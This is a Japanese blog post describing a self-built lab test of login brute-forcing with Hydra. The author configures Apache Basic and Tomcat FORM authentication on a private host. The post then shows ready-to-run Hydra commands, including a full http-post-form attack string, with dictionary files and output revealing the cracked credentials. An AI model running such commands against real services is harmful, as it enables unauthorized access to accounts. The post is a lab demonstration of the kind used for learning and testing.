はじめに
Hydra(ヒュドラと読むらしい)を使ったパスワードクラック検証について
色々あってプロジェクトが消失したので自己満足のために書きます。
目次
| 目次 |
|:----:|:-------------|
|今回使用した環境 |
|アタックしたいもの |
|環境準備(Basic,FORM,Hydra) |
|Hydraを実行する |
|出典・参考URL|
環境情報
【攻撃側】
- CentOS Linux release 7.5.1804
- hydra-8.2-1.el7.x86_64
【攻撃対象側】
- CentOS Linux release 7.5.1804
- Apache/2.4.6
- apache-tomcat-8.5.55
アタックしたいもの
HTTP / Basic認証
HTTP / FORM認証
環境準備
Basic認証(攻撃対象側)
以下のサイトに詳しく書かれているので本記事ではザックリと。
apache2.4系でBasic認証 or Digest認証、特定IPアドレスからは認証なしで / mmotoi様
クリックで展開
# Webサーバーのインストール
yum -y install httpd
# 確認
httpd -v
Server version: Apache/2.4.6 (CentOS)
Server built: Apr 2 2020 13:13:23
index.htmlにアクセス出来る事を確認
必要に応じてfirewalldやsystemd周りの停止・立ち上げを行う。
## Basic認証設定
# 認証用のユーザーファイルを作成
$ sudo htpasswd -c /etc/httpd/conf.d/htpasswd <任意のユーザー名>
New password: パスワード入力
Re-type new password: パスワード再入力
Adding password for user xxx
# 作成されたユーザーファイル
$ cat htpasswd
username:password(hash)
# 認証用のコンフィグ
vi auth.conf
<Directory "/var/www/html">
AuthType Basic
AuthName "Private Aera"
AuthUserFile /etc/httpd/conf.d/htpasswd
Require valid-user
</Directory>
$ pwd
/etc/httpd/conf.d
# リロード
$ apachectl configtest
Syntax OK
$ sudo systemctl reload httpd
httpd.confの末尾にある「IncludeOptional conf.d/*.conf」のおかげで、
conf.d以下にあるコンフィグファイルが自動的にロードされるらしい。
Apache 2.4 設定 / wreath様
FORM認証(攻撃対象側)
以下のサイトに本当に分かりやすく書いてあるので個人的に詰まった所だけ書きます。
CentOS7でtomcat8構築 / y-araki-qiita様
参考サイト(外部) / Javaの道
クリックで展開
$ vi /etc/systemd/system/tomcat.service
-中略-
[Service]
User=tomcat
Group=tomcat
Type=oneshot
PIDFile=/opt/tomcat/tomcat.pid
RemainAfterExit=yes
#以下のように修正
[Service]
User=tomcat
Group=tomcat
Type=oneshot
#PIDFile=/opt/tomcat/tomcat.pid
PIDFile=/opt/apache-tomcat-8.5.55/tomcat.pid
RemainAfterExit=yes
認証用ページのコンポーネントを格納するディレクトリを作成
$ cd /opt/apache-tomcat-8.5.55/webapps
$ sudo mkdir FormAuth
$ cd FormAuth
$ sudo mkdir WEB-INF
# 最終的な構成
$ ls -al /opt/apache-tomcat-8.5.55/webapps/FormAuth
合計 12
drwxr-xr-x. 3 root root 78 5月 18 17:09 .
drwxr-x---. 8 tomcat tomcat 97 5月 18 16:42 ..
drwxr-xr-x. 2 root root 21 5月 18 16:45 WEB-INF
-rw-r--r--. 1 root root 158 5月 18 16:52 login.html
-rw-r--r--. 1 root root 469 5月 18 16:45 login.jsp
-rw-r--r--. 1 root root 159 5月 18 17:09 login_err.html
・login.jsp
$ vi login.jsp
<html>
<head><title>login page</title></head>
<body>
<form method="post" action='<%= response.encodeURL("j_security_check")%>'>
<table>
<tr>
<td>ID</td>
<td> <input type="text" name="j_username"></td>
</tr>
<tr>
<td>Pass</td>
<td><input type="password" name="j_password"></td>
</tr>
</table>
<br>
<input type="submit" value="Login" name="submit">
<input type="reset" value="Reset" name="reset">
</form>
</body>
</html>
・login.html
$ vi login.html
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<title>login successful</title>
</head>
<body>
ログイン成功です。
</body>
</html>
・login_err.html
$ vi login_err.html
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<title>login error</title>
</head>
<body>
ログイン情報が不正です
</body>
</html>
・web.xml
$ vi /opt/apache-tomcat-8.5.55/webapps/FormAuth/WEB-INF/web.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD
Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<security-constraint>
<web-resource-collection>
<web-resource-name>Authentication of FormAuth</web-resource-name>
<url-pattern>/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>form</role-name>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>FORM</auth-method>
<form-login-config>
<form-login-page>/login.jsp</form-login-page>
<form-error-page>/login_err.html</form-error-page>
</form-login-config>
</login-config>
</web-app>
・認可するユーザーやロールの設定
ユーザー名:java
パスワード:road
$ vi /opt/apache-tomcat-8.5.55/conf/tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="tomcat"/>
<role rolename="role1"/>
<role rolename="manager"/>
<role rolename="admin"/>
<role rolename="form"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
<user username="both" password="tomcat" roles="tomcat,role1"/>
<user username="role1" password="tomcat" roles="role1"/>
<user username="admin" password="admin" roles="admin,manager"/>
<user username="java" password="road" roles="form"/>
設定完了後、tomcatの再起動を行いブラウザから以下のURLにアクセスする。
「IPアドレス:8080/FormAuth/login.html」
Hydra導入(攻撃側)
前人者の超有益ページ
今回はepelのリポジトリから落としました。
Centos7.6でHydraを使う / snow_rain000様
hydraでブルートフォースアタックをする / shyamahira様
# epelリポジトリの追加
$ sudo yum install -y epel-release
# hydraのインストール
$ sudo yum install -y hydra
or
$ yum --enablerepo=epel install hydra
# インストール確認
$ Hydra
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]
--以下略--
Hydraを実行する
・辞書ファイルを用意する
「Crunch」などのコマンドを使用すれば自動で作成できますが、
今回は形式的な検証をしたかったので十数行程度の辞書ファイルを自作しました。
$ cat userlist.txt
aaa
java
xxx
bbb
ccc
ddd
root
ftp-user
admin
test
$ cat passlist.txt
aaa
road
ccc
ddd
xxx
eee
fff
admin
hhh
ftp-user
password
abc
edf
ghi
jkl
mno
pqr
stu
vwx
yzz
対Basic認証
# 構文
hydra -L <ID辞書ファイル> -P <PW辞書ファイル> <IP> <get|post> <target>
# 実行例
hydra -L userlist.txt -P passlist.txt 192.168.1.200 http-get /index.html
# 実行結果
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2020-06-10 22:44:44
[DATA] max 16 tasks per 1 server, overall 64 tasks, 200 login tries (l:10/p:20), ~0 tries per task
[DATA] attacking service http-get on port 80
DEBUG0: /index.html
DEBUG0: /index.html
~略~
DEBUG0: /index.html
[80][http-get] host: 192.168.1.200 login: xxx password: xxx
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 22:44:48
失敗したときのログはこんな感じ
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 22:55:31
対FORM認証
# 構文
hydra <ID辞書ファイル> -P <PW辞書ファイル> -s <port> <IP> <get|post> '対象URI:ポスト文字列:ログイン失敗時のメッセージ'
対象URIやポスト文字列は環境によってそれぞれ異なります。
今回はtomcatのj_security_checkに対してポストを行うので、
ポスト文字列にj_usernameとj_passwordを指定しました。
環境毎にポストに使う変数を調べるという意味では、
Wiresharkなどを併用すると必要な情報が手に入るかと思われます。
※悪用しないでください
# 実行例
hydra -L userlist.txt -P passlist.txt -s 8080 192.168.1.200 http-post-form '/FormAuth/j_security_check:j_username=^USER^&j_password=^PASS^:ログイン情報が不正です'
実行時ログ
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2020-06-10 23:04:58
[DATA] max 16 tasks per 1 server, overall 64 tasks, 200 login tries (l:10/p:20), ~0 tries per task
[DATA] attacking service http-post-form on port 8080
[8080][http-post-form] host: 192.168.1.200 login: java password: road
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 23:05:04
失敗時ログ
[DATA] attacking service http-post-form on port 8080
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-10 23:12:52
参考にしたサイト一覧
【Apache】
apache2.4系でBasic認証 or Digest認証、特定IPアドレスからは認証なしで / mmotoi様
Apache 2.4 設定 / wreath様
【Tomcat】
CentOS7でtomcat8構築 / y-araki-qiita様
Tomcat(12.FORM認証)/ Javaの道(外部)
FORM認証 - ユーザー認証 - サーブレット入門 / Let'sプログラミング(外部)
【Hydra】
Centos7.6でHydraを使う / snow_rain000様
hydraでブルートフォースアタックをする / shyamahira様
【その他】
Qiita Markdownのページ内リンクの罠 / hennin様
hydra
Hydra
ブルートフォース
ブルートフォースアタック
総当たり